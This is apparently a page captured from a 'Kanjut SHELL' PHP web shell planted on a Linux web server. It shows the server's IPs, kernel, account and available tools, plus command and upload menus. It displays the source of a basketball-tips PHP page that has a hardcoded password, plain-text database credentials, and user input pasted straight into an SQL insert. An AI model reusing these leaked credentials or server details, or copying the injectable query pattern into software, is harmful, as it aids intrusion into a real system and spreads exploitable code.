Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.113.189
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ranicholson/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ranicholson/public_html/shootacc2.php
<?php   session_start(); ?>
<!-- File name: shootacc2.php -->

<?php
        $pass =  $_SESSION['pw'];

        if($pass != "123")
                  print "Go away.";
        else
        {
?>

<html>
<title>IN YOUR BAG</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inconsolata">
<link rel="stylesheet" href="https://www.w3schools.com/lib/w3-theme-blue-grey.css">
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Open+Sans'>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

<style>
body, html {
    height: 100%;
    font-family: "Inconsolata", sans-serif;
}
.bgimg {
    background-position: center;
    background-repeat: repeat;
    background-image: url("http://www.tttbasketball.com/LOGO.jpg");
    min-height: 60%;
}
.menu {
    display: none;
}
</style>
<BODY>
<!-- Header with image -->
<header class="bgimg w3-display-container w3-grayscale-min" id="home">
 <div class="w3-display-middle w3-center">
    <span class="w3-tag" style="font-size:50px">IN YOUR BAG: TIPS</span>
  </div>
</header>

<!-- Add a background color and large text to the whole page -->
<div class="w3-sand w3-grayscale w3-large">

<!-- Links (sit on top) -->        
        <div class="w3-top">
                 <div class="w3-row w3-padding w3-black">
                        <div class="w3-col s2">
                                <a href="iyb.php" class="w3-button w3-block w3-black">HOME</a>
                        </div>
                         <div class="w3-col s2">
                                <a href="iybfootacc.php" class="w3-button w3-block w3-black">FOOTWEAR</a>
                        </div>
                        <div class="w3-col s2">
                                <a href="iybappacc.php" class="w3-button w3-block w3-black">APPAREL</a>
                      </div>
                        <div class="w3-col s2">
                                <a href="iybeqmtacc.php" class="w3-button w3-block w3-black">EQUIPMENT</a>       
                        </div>
                        <div class="w3-col s2">
                                <a href="iybtipsacc.php" class="w3-button w3-block w3-black">TIPS</a>
                        </div>
                        <a href="iyblogin.php" class="w3-bar-item w3-button w3-hide-small w3-right w3-padding-large w3-hover-white" title="Login"><i class="fa fa-user"></i></a>

                </div>
        </div>        

<Center>
<H1>
<B>Shooting Tips</B>
</H1>
<?php

	
	$author = $_POST['author'];
        $date = $_POST['date'];
        $tip  = $_POST['tip'];	

        if (empty($author))
        {
                Print  'No name was entered. Please input the authors name.';

                include 'ballhdisplay.php';


        }
        else if (empty($date))
        {
                Print  'No date was entered. Please input the current date.';

                include 'ballhdisplay.php';
        }
        else if (empty($tip))
        {
                Print  'No informantion was entered. Please input a  ball handling tip.';

                include 'ballhdisplay.php';
        }

        else
{


        $host = 'localhost';
        $user = 'ranicholson';
        $passwd = 'cs480';
        $database = 'ranicholson';
        $connect = mysqli_connect($host, $user, $passwd);
        $query = "insert into SHOOTTIP values
                        ('$date', '$author', '$tip')";
        mysqli_select_db($connect, $database);
        if(mysqli_query($connect, $query))
                print "<P>Insert successful.<P>";
        else      
                print "<P>Insert fail.<p>";


        mysqli_close($connect);

        (include "shootdisplay.php");


}

?>

<P>
<a href="shootacc.php" class="w3-button w3-block w3-black">BACK</a>





<P> 

</Center>     
<?php               
        }                 
?>



Stv3n404 - 2023